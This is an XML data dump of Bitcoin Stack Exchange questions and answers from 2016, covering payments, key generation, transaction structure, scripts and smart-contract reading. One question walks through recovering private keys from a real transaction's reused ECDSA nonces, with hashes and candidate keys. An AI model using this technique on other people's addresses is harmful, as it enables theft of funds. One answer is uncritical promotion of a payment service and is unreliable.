  <row Id="44009" PostTypeId="2" ParentId="44001" CreationDate="2016-05-07T19:53:48.277" Score="-1" Body="&lt;p&gt;Try Circle Pay if you are residing in US &lt;a href=&quot;https://www.circle.com&quot; rel=&quot;nofollow&quot;&gt;https://www.circle.com&lt;/a&gt;&#xA;This service costs nothing and it does not need much information of yours to run&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Circle Internet is the brainchild of Fintech on their path to disrupt legacy payment platforms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With circle you accept/send fiat or cryptocurrency via email, text, hash and it stays in the currency of your choice USD or BTC. For example we worked together on a project in France and now we are back in the US but you are in NY and I'm in LA. I still owe you for a tab you picked up. With circle I can send you the the money via BTC blockchain and it will still come out as fiat on your side..amazing dont you think...oh yeah.. no fees and connect to your US bank seamlessly.&lt;/p&gt;&#xA;" OwnerUserId="35393" LastEditorUserId="120" LastEditDate="2016-05-08T15:04:28.807" LastActivityDate="2016-05-08T15:04:28.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44012" PostTypeId="1" CreationDate="2016-05-08T09:43:23.767" Score="2" ViewCount="158" Body="&lt;p&gt;I know that there is Namecoin, which saves key:value pair.&#xA;Is thete other similar solutions?&#xA;Maybe for arbitrary textblocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: how they do it? &#xA;Delaware Blockchain Initiative to Streamline Record-Keeping for Private Companies&#xA;&lt;a href=&quot;http://flip.it/wqxKJ&quot; rel=&quot;nofollow&quot;&gt;http://flip.it/wqxKJ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35431" LastEditorUserId="35431" LastEditDate="2016-05-10T11:21:28.133" LastActivityDate="2017-04-05T20:35:04.837" Title="Is there any bitcoin fork which goal is storing arbitrary information?" Tags="|blockchain|alternatives|storage|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44013" PostTypeId="2" ParentId="44012" CreationDate="2016-05-08T11:35:39.727" Score="0" Body="&lt;p&gt;Not exactly a Bitcoin fork, but the Factom project (factom.org) uses their own data structures and the Bitcoin blockchain to store information in an immutable way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user first creates a digital fingerprint of his data that gets into the Factom ledger/blockchain. Then, at regular intervals, the fingerprint of that ledger is published to the Bitcoin blockchain. This way, the amount and complexity of the data that can be much bigger than if that user puts the hash of his information directly on the Bitcoin blockchain, which is limited in size and expensive to publish to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project tries to give tools for proof of existence, proof of process and proof of audit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This couple of videos may give you a good overview of the project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Factor is Forever: &lt;a href=&quot;https://www.youtube.com/embed/gVwT-XrrekY&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/embed/gVwT-XrrekY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How Does Factom Blockchain Technology Work: &lt;a href=&quot;https://www.youtube.com/embed/MlzyI1bfyD4&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/embed/MlzyI1bfyD4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35326" LastActivityDate="2016-05-08T11:35:39.727" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="44014" PostTypeId="2" ParentId="44005" CreationDate="2016-05-08T14:18:26.060" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In particular, is there a way to make it so that it is impossible to know if a transaction signed with a password is correct unless its part of a mined block? This way, even if your password only requires 1,000,000 tries to crack, the attacker needs to mine 1,000,000 blocks to bruteforce the password?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any cryptographic constructions that would let you do that. The closest thing I can think of is increasing the number of iterations of the password derivation function so that the amount of work required is similar to the amount of work required for creating a block.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Although it is tempting to say that blocks with invalid passwords are invalid (so our malicious miner doesn't even get to keep what he mined), this would put honest miners at risk of receiving invalid transactions and losing their mined coins. Therefore, invalid transactions would just have to be ignored.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That doesn't completely fix things, though. If someone on the network is trying to bruteforce a password by submitting lots of transactions, the miner is going to see a thousand invalid transactions for each valid one. This means that the honest miners almost never earn fees for their block, and that legitimate transactions almost never go through.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You've got the right idea in trying to prevent an offline attack against a password, though. You should look at &lt;a href=&quot;http://justmoon.github.io/pakdf/&quot; rel=&quot;nofollow&quot;&gt;Peer Assisted Key Derivation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-05-08T14:18:26.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="44015" PostTypeId="1" AcceptedAnswerId="44016" CreationDate="2016-05-08T14:30:57.030" Score="1" ViewCount="1450" Body="&lt;p&gt;so i'm learning about bitcoin, and i've purchased overpriced bitcoin for 1USD.&#xA;the flow was as follow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i've created an account in &lt;a href=&quot;https://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com&lt;/a&gt; and contacted a seller.&lt;/li&gt;&#xA;&lt;li&gt;the seller sent me 0.0007 BTC to that account, the site switches addresses as i understand to keep it secured - this is the address that i have there 1DZPyyLMcu1jKaEJ5fskeEpsMbjY49L9JL&lt;/li&gt;&#xA;&lt;li&gt;i've created a paper wallet and transferred the funds there: &lt;a href=&quot;https://blockchain.info/address/12Egs85EKjDpDLLRigbszSR9TnyGRKqhnD&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/12Egs85EKjDpDLLRigbszSR9TnyGRKqhnD&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;i do see the 0.0007 transaction, but why is the previous transaction it's linked to is ~69BTC? shouldnt it be linked to a signle 0.0007 transaction from the old wallet?&lt;/li&gt;&#xA;&lt;li&gt;why can't i see any transaction at &lt;a href=&quot;https://blockchain.info/address/1DZPyyLMcu1jKaEJ5fskeEpsMbjY49L9JL&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1DZPyyLMcu1jKaEJ5fskeEpsMbjY49L9JL&lt;/a&gt; ? as i think i've transferred the localbitcoins from there.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so, i'm quite confused, how do i read the history, starting from the last transaction (12Eg...)?&lt;/p&gt;&#xA;" OwnerUserId="35261" LastActivityDate="2016-05-08T15:12:15.980" Title="How to read blockchain.info transactions in the blockchain?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44016" PostTypeId="2" ParentId="44015" CreationDate="2016-05-08T15:12:15.980" Score="1" Body="&lt;p&gt;The transaction in which someone sends you 0.0007 BTC includes more payments to other people and one payment back to himself, what is called the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you get Bitcoin in a wallet, everything you get in each transaction is a separate input. Any or several of those can be used to make a transaction, but you can't break them. In order to send a smaller amount than an input, what you do is to make two payments, one to the address to which you want to send that smaller amount and another one to yourself, usually to a new address for privacy reasons. In you example, the sender had a 69 BTC input, made some payments and sent himself back around 67 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than second address you mention (1DZPyyLMcu1jKaEJ5fskeEpsMbjY49L9JL) has not been seen in the network, what means that it is not associated with any transaction yet. In the big transaction your 0.0007 have an &quot;unspent&quot; next to them. This means that you have not used them and they are in that address.&lt;/p&gt;&#xA;" OwnerUserId="35326" LastActivityDate="2016-05-08T15:12:15.980" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="44018" PostTypeId="2" ParentId="44012" CreationDate="2016-05-08T21:52:42.077" Score="2" Body="&lt;p&gt;Storj is a blockchain based solution for encrypting and storing data. More information can be found about the project at storj.io &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-05-08T21:52:42.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44019" PostTypeId="2" ParentId="44003" CreationDate="2016-05-09T00:05:46.987" Score="0" Body="&lt;p&gt;Short answer: If you are using &lt;code&gt;/dev/urandom&lt;/code&gt; as your source of entropy, there is no need to run &lt;code&gt;sha256sum&lt;/code&gt; to hash the data. Instead you can use the random data directly to form your key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=/dev/urandom of=/home/jsmith/private.key bs=1 count=32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Long answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasoning behind this recommendation is that &lt;code&gt;/dev/urandom&lt;/code&gt; is already designed to produce high quality, unpredictable, unbiased random data. Indeed, the most common way to implement such an RNG is to feed raw entropy sources into a cryptographically secure random number generator (CSRNG) algorithm or a cryptographically secure hash function (like SHA-256).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are doing by sending urandom's data into &lt;code&gt;sha256sum&lt;/code&gt; is almost entirely pointless. If urandom is working correctly, your procedure does not buy you any extra security. If urandom is compromised (e.g. outputting only a few possible sequences), then &lt;code&gt;sha256sum&lt;/code&gt; cannot rescue you either, because the hash of a few different sequences is only a few different hashes. However if urandom were unpredictable but badly biased (say it generates 90% zeros and 10% ones), then &lt;code&gt;sha256sum&lt;/code&gt;-ing this crappy entropy would help - but this situation is unimaginable for a proper RNG implementation.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To respond to kasperd's comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to the internals of SHA256, the resulting key would be slightly stronger if you used &lt;code&gt;count=119&lt;/code&gt;. Having &lt;code&gt;count&lt;/code&gt; be a multiple of 64 is the worst you can do in terms of entropy of the final output. The optimal values for the input length is 55 plus a multiple of 64, so 55, 119, 183 are good values. But of course what is much more important than the count you specify is the security of the computer you use to generate and store the key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This assertion is false, but the reason is not entirely obvious. How the SHA-256 algorithm works is that takes an input message, pads it to a block boundary with some specific numbers, then combines the hash state with each block in sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose &lt;em&gt;S&lt;/em&gt;&lt;sub&gt;0&lt;/sub&gt; is the initial state, &lt;em&gt;B&lt;/em&gt;&lt;sub&gt;&lt;em&gt;i&lt;/em&gt;&lt;/sub&gt; is the &lt;em&gt;i&lt;/em&gt;&lt;sup&gt;th&lt;/sup&gt; message block after padding, and &lt;em&gt;H&lt;/em&gt;(&lt;em&gt;S&lt;/em&gt;, &lt;em&gt;B&lt;/em&gt;) is the hash algorithm's compression function. Then we calculate, &lt;em&gt;S&lt;/em&gt;&lt;sub&gt;1&lt;/sub&gt; = &lt;em&gt;H&lt;/em&gt;(&lt;em&gt;S&lt;/em&gt;&lt;sub&gt;0&lt;/sub&gt;, &lt;em&gt;B&lt;/em&gt;&lt;sub&gt;0&lt;/sub&gt;), next &lt;em&gt;S&lt;/em&gt;&lt;sub&gt;2&lt;/sub&gt; = &lt;em&gt;H&lt;/em&gt;(&lt;em&gt;S&lt;/em&gt;&lt;sub&gt;1&lt;/sub&gt;, &lt;em&gt;B&lt;/em&gt;&lt;sub&gt;1&lt;/sub&gt;), etc. until all blocks are processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The non-obvious fact, however, is that &lt;em&gt;H&lt;/em&gt; is an invertible function when &lt;em&gt;B&lt;/em&gt; is known. In other words, we can calculate &lt;em&gt;S&lt;/em&gt;&lt;sub&gt;0&lt;/sub&gt; = &lt;em&gt;H&lt;/em&gt;&lt;sup&gt;−1&lt;/sup&gt;(&lt;em&gt;S&lt;/em&gt;&lt;sub&gt;1&lt;/sub&gt;, &lt;em&gt;B&lt;/em&gt;&lt;sub&gt;0&lt;/sub&gt;). Hence we can say that &lt;em&gt;H&lt;/em&gt; takes a 512-bit block &lt;em&gt;B&lt;/em&gt; and uses it to permute a 256-bit state vector &lt;em&gt;S&lt;/em&gt; into another 256-bit state vector &lt;em&gt;S&lt;/em&gt;ʹ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this fact, it doesn't matter if the last block being hashed is highly predictable. If the previous blocks are unpredictable, then the state &lt;em&gt;S&lt;/em&gt; will be effectively scrambled by hashing these blocks. Because the block compression function &lt;em&gt;H&lt;/em&gt; is invertible, it can't &quot;collapse&quot; multiple states into one state, thus hashing a predictable block will not undo the state scrambling from previous blocks.&lt;/p&gt;&#xA;" OwnerUserId="23340" LastEditorUserId="23340" LastEditDate="2016-05-09T00:19:19.603" LastActivityDate="2016-05-09T00:19:19.603" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="44021" PostTypeId="2" ParentId="5952" CreationDate="2016-05-09T03:37:09.827" Score="2" Body="&lt;p&gt;&quot;Still, shouldn't a post-0.6.0 client recognize both the send to the compressed address, and the send to the uncompressed address, because it has the private key sufficient to spend either? – Quizzical Nov 27 '13 at 2:16&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a private key? Great! Open bitaddress.org(offline) and scroll to wallet details tab, then enter the private key. You'll find the compressed and uncompressed addresses in the right and left side respectively. Scroll down you'll find the compressed and uncompressed private keys there.&#xA;Yes! Private keys when denoted in base 58 check format have different values in compressed and uncompressed form. This was done to ensure that the clients don't get confused as to which address to map (compressed or uncompressed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point being: WIF format for every hex private key are different in compressed and uncompressed form.&#xA;Hope this answer helps.&lt;/p&gt;&#xA;" OwnerUserId="33453" LastEditorUserId="33453" LastEditDate="2016-05-23T04:28:05.013" LastActivityDate="2016-05-23T04:28:05.013" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="44022" PostTypeId="1" AcceptedAnswerId="44325" CreationDate="2016-05-09T05:18:54.823" Score="2" ViewCount="1688" Body="&lt;p&gt;I've been trying to understand the issue and repeat Willem Hengeveld's &lt;a href=&quot;https://bitcoin.stackexchange.com/a/25829/5554&quot;&gt;answer&lt;/a&gt;, but I think I'm failing at getting correct script for hash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for &lt;a href=&quot;https://blockchain.info/tx/21becdb433065f739f6a9b223097be664a6f21cbdfcab06795674c9ff4496046&quot; rel=&quot;nofollow noreferrer&quot;&gt;this transaction&lt;/a&gt;, my scripts are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010000000396773312284612e55b124e19b885038f625ce18f99711c9138d22c391a2abc86000000001976a914fa6b5cff131a62d212f5c99d8bfaf35a9299ad5288acffffffff2f4fcd2541be1e286b7eee1a24bf0b9d6a6333c05ed7955d083f0778e2a23efc0000000000ffffffff40dc504498fa0ff41f2a6d882b640a17a4fbdb96a34ff28ad7f83c85fd78521e0000000000ffffffff0240420f00000000001976a91406f1b66ffe49df7fce684df16c62f59dc9adbd3f88ac66732c00000000001976a914fa6b5cff131a62d212f5c99d8bfaf35a9299ad5288ac0000000001000000&#xA;&#xA;010000000396773312284612e55b124e19b885038f625ce18f99711c9138d22c391a2abc860000000000ffffffff2f4fcd2541be1e286b7eee1a24bf0b9d6a6333c05ed7955d083f0778e2a23efc000000001976a914fa6b5cff131a62d212f5c99d8bfaf35a9299ad5288acffffffff40dc504498fa0ff41f2a6d882b640a17a4fbdb96a34ff28ad7f83c85fd78521e0000000000ffffffff0240420f00000000001976a91406f1b66ffe49df7fce684df16c62f59dc9adbd3f88ac66732c00000000001976a914fa6b5cff131a62d212f5c99d8bfaf35a9299ad5288ac0000000001000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And double SHA256 are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;z1 = 1a374484e71c12135cda76c1261801e9f8fc27108e3f5e439679ef13eb300eae&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;z2 = e366e7bc7d5c12808b88e1b89c27436ac9cb3ae482dd044faeb7fab4654cbeac&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even applying &lt;code&gt;+/-&lt;/code&gt; for &lt;code&gt;s1,s2&lt;/code&gt; I'm getting those 4 private keys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;68d4ee844087fc39a62269c41a2c7d521966aa9687a596ab9207e997ddee0ba3&#xA;5d201313d68f45cfd5b187584efe4e5d9579a571a0876a3e1fb649ed91942897&#xA;a2dfecec2970ba302a4e78a7b101b1a1253537750ec135fda01c149f3ea218aa&#xA;972b117bbf7803c659dd963be5d382aca148325027a309902dca74f4f248359e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which do not corresponded to that public key. What I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5554" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2020-12-25T01:45:06.820" Title="Can't find correct z1 &amp; z2 for transaction" Tags="|hash|signature|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44024" PostTypeId="1" AcceptedAnswerId="44036" CreationDate="2016-05-09T06:28:17.343" Score="1" ViewCount="5041" Body="&lt;p&gt;A similar question has an answer in Python which links to the bitcointalk forum:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28398/how-can-i-get-the-uncompressed-public-key-from-the-compressed-public-key-in-open&quot;&gt;How can I get the uncompressed public key from the compressed public key in openssl?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=644919.msg7205689#msg7205689&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=644919.msg7205689#msg7205689&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But I'd like to know how a Java program can be written for the same conversion? I noticed that Java uses the byte data type and I'm unable to understand how to operate on values.&lt;/p&gt;&#xA;" OwnerUserId="33453" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2018-08-13T13:54:11.497" Title="Get uncompressed public key from compressed form" Tags="|public-key|cryptography|algorithms|java|math|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44026" PostTypeId="1" AcceptedAnswerId="44043" CreationDate="2016-05-09T10:14:55.770" Score="1" ViewCount="149" Body="&lt;p&gt;When I publish the testnet transaction below, it does not seem to be accepted by the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Publishing the transaction seems to work fine as it returns the txid, but the transaction does not show up on any of the blockexplorer services and does not get mined.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli sendrawtransaction  &#xA;d208b659eaca2640f732b07b11ea9800c1a0bb4ffdc03aaf82af76c1787570ac&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the decoded transaction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli decoderawtransaction  &#xA;{&#xA;  &quot;txid&quot;: &quot;d208b659eaca2640f732b07b11ea9800c1a0bb4ffdc03aaf82af76c1787570ac&quot;,&#xA;  &quot;size&quot;: 373,&#xA;  &quot;version&quot;: 2,&#xA;  &quot;locktime&quot;: 0,&#xA;  &quot;vin&quot;: [&#xA;    {&#xA;      &quot;txid&quot;: &quot;0f064de4a4c548693c261e2a87202aaa0f54548101ae267dab7cdc5c1000dbf4&quot;,&#xA;      &quot;vout&quot;: 0,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;304402204c7cbcc610ac5ee744dc7de6fc31421217dbd066e41fd377dbe16dbd70372d3d02201e74b66967b44548c007a011d98bb42a9f22651392232b87a640dcf8ad55e1d2[ALL] 0 0 6352210399e3dde1d1853dbd99c81ba4f2c0cca351b3cceecce7cd0bd59acc5789672135210327f017c35a46b759536309e6de256ad44ad609c1c4aed0e2cdb82f62490f75f852ae6763a914a7ec62542b0d393d43442aadf8d55f7da1e303cb88210399e3dde1d1853dbd99c81ba4f2c0cca351b3cceecce7cd0bd59acc5789672135ac6755b275210399e3dde1d1853dbd99c81ba4f2c0cca351b3cceecce7cd0bd59acc5789672135ac6868&quot;,&#xA;        &quot;hex&quot;: &quot;47304402204c7cbcc610ac5ee744dc7de6fc31421217dbd066e41fd377dbe16dbd70372d3d02201e74b66967b44548c007a011d98bb42a9f22651392232b87a640dcf8ad55e1d20100004cad6352210399e3dde1d1853dbd99c81ba4f2c0cca351b3cceecce7cd0bd59acc5789672135210327f017c35a46b759536309e6de256ad44ad609c1c4aed0e2cdb82f62490f75f852ae6763a914a7ec62542b0d393d43442aadf8d55f7da1e303cb88210399e3dde1d1853dbd99c81ba4f2c0cca351b3cceecce7cd0bd59acc5789672135ac6755b275210399e3dde1d1853dbd99c81ba4f2c0cca351b3cceecce7cd0bd59acc5789672135ac6868&quot;&#xA;      },&#xA;      &quot;sequence&quot;: 5&#xA;    }&#xA;  ],&#xA;  &quot;vout&quot;: [&#xA;    {&#xA;      &quot;value&quot;: 0.00036290,&#xA;      &quot;n&quot;: 0,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 d36d5a91d3f05b2c23cf4fdcac88e4f8b50cec90 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a914d36d5a91d3f05b2c23cf4fdcac88e4f8b50cec9088ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;mznssZhbYjU5GRNupZ455TKu2BYrkmfQHC&quot;&#xA;        ]&#xA;      }&#xA;    }, &#xA;    {&#xA;      &quot;value&quot;: 0.00000000,&#xA;      &quot;n&quot;: 1,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_RETURN dbb957b39547c4b841700768d623a3f4c849743272bc7783855c9c4d&quot;,&#xA;        &quot;hex&quot;: &quot;6a1cdbb957b39547c4b841700768d623a3f4c849743272bc7783855c9c4d&quot;,&#xA;        &quot;type&quot;: &quot;nulldata&quot;&#xA;      }&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the disassembled P2SH script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_IF&#xA;    OP_2 0399e3dde1d1853dbd99c81ba4f2c0cca351b3cceecce7cd0bd59acc5789672135 0327f017c35a46b759536309e6de256ad44ad609c1c4aed0e2cdb82f62490f75f8 OP_2 OP_CHECKMULTISIG&#xA;OP_ELSE&#xA;    OP_IF&#xA;        OP_HASH160 a7ec62542b0d393d43442aadf8d55f7da1e303cb OP_EQUALVERIFY 0399e3dde1d1853dbd99c81ba4f2c0cca351b3cceecce7cd0bd59acc5789672135 OP_CHECKSIG&#xA;    OP_ELSE &#xA;        OP_5 OP_NOP3 OP_DROP 0399e3dde1d1853dbd99c81ba4f2c0cca351b3cceecce7cd0bd59acc5789672135 OP_CHECKSIG&#xA;    OP_ENDIF&#xA;OP_ENDIF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: It does seem to be in the mempool (at least on my end)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getrawmempool&#xA;[&#xA;  &quot;d4147e3350c7135ea8988eaa350d4fec00980462aa2df504b7bf946a28d1f100&quot;, &#xA;  &quot;2ecf4ebd5f850da38926e58673cec0b5ec87569acf6e1db888c42fbaeb7c430a&quot;, &#xA;  &quot;f080088e292aedc954826ba6f9c0cbbbb00364305b61203e8720ae3c8cc3c30b&quot;, &#xA;  &quot;b54d0c1ceaa851a165e6d8f298bcbdb2bcbd8001bb5fe743eb12de2d6335a113&quot;, &#xA;  &quot;89e46f5baabbf7e60cb608ff2a82b822b575983997af979cc15efd3151d94021&quot;, &#xA;  &quot;f097c66979654beea2cb11fe704a84f7abccb2ab8d33f40015c7a3c032845c28&quot;, &#xA;  &quot;82c13c01af677325ee7f7ad74604a37deb75d31ba9749c9125b64b42e5905434&quot;, &#xA;  &quot;68baab281fb0509c7e8badddf1300ad3e572054566c07c01fcf4598768d0a398&quot;, &#xA;  &quot;d208b659eaca2640f732b07b11ea9800c1a0bb4ffdc03aaf82af76c1787570ac&quot;, &#xA;  &quot;136b76344299ad409fbba3877ec409476ed71b243bf688c84b2cb56cf77f2db3&quot;&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26419" LastEditorUserId="26419" LastEditDate="2016-05-09T13:56:26.147" LastActivityDate="2016-05-10T12:48:22.847" Title="Transaction using OP_CHECKSEQUENCEVERIFY not accepted by the network" Tags="|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44027" PostTypeId="1" CreationDate="2016-05-09T10:30:06.790" Score="-1" ViewCount="3588" Body="&lt;p&gt;I am earning and free bitcoin faucets say that they are sending satoshi to my bitcoin address or to some micro wallets like &lt;a href=&quot;https://faucetbox.com&quot; rel=&quot;nofollow&quot;&gt;https://faucetbox.com&lt;/a&gt; or Paytoshi.com. The said micro wallets in turn send them automatically when the pre-fixed threshold limit is reached.  I have two questions and seek your guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) I do not know how to see my accumulated satoshi earnings because I do not know where they are parked.  Can you guide me in this respect? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) How to send/transfer them to my Blockchain Wallet Account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look forward to your able guidance....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dr. Surya NSK&lt;/p&gt;&#xA;" OwnerUserId="33227" LastActivityDate="2017-03-29T17:28:23.867" Title="Where satoshi sent by free bitcoin faucets deposited /parked?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44029" PostTypeId="2" ParentId="44027" CreationDate="2016-05-09T11:25:07.357" Score="0" Body="&lt;p&gt;Go to faucetbox.com and enter your address in the address checker (starting with 1xxx.../3xxx...) there. &#xA;It will allow you to set the payout threshold and see how much you've accumulated. Microwallets are used to avoid transaction fees every time you earn a few satoshis.&#xA;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="33453" LastActivityDate="2016-05-09T11:25:07.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44031" PostTypeId="2" ParentId="38070" CreationDate="2016-05-09T13:43:39.400" Score="1" Body="&lt;p&gt;Here is a JavaScript code for Node.JS to read a &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You need the contract Solidity source code to get ABI&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With this ABI and web3 convenience methods you can read the contract data&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var Web3 = require('web3');&#xA;var solc = require(&quot;solc&quot;);&#xA;var fs = require('fs');&#xA;&#xA;// Connect to a geth server over JSON-RPC&#xA;var web3 = new Web3(new Web3.providers.HttpProvider(&quot;http://localhost:8545&quot;));&#xA;&#xA;console.log(&quot;Talking with a geth server&quot;, web3.version.api);&#xA;&#xA;// Read standard token contract from https://www.ethereum.org/token&#xA;var sourceCode = fs.readFileSync('sol/token.sol','utf8')&#xA;var compiled = solc.compile(sourceCode);&#xA;var abiArray = compiled.contracts[&quot;MyToken&quot;].interface;&#xA;abiArray = JSON.parse(abiArray);&#xA;&#xA;// Create a proxy object to access the smart contract&#xA;var MyContract = web3.eth.contract(abiArray);&#xA;&#xA;// instantiate by address&#xA;var address = &quot;0x091cc7F4ACA751a6b8A4101715d6B07CD4232341&quot;;&#xA;var contractInstance = MyContract.at(address);&#xA;&#xA;// All public variables have automatically generated getters&#xA;// http://bitcoin.stackexchange.com/a/38079/5464&#xA;var result = {&#xA;  &quot;totalSupply&quot;: contractInstance.totalSupply(),&#xA;  &quot;symbol&quot;: contractInstance.symbol(),&#xA;  &quot;name&quot;: contractInstance.name(),&#xA;};&#xA;console.log(JSON.stringify(result));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2016-05-09T13:43:39.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
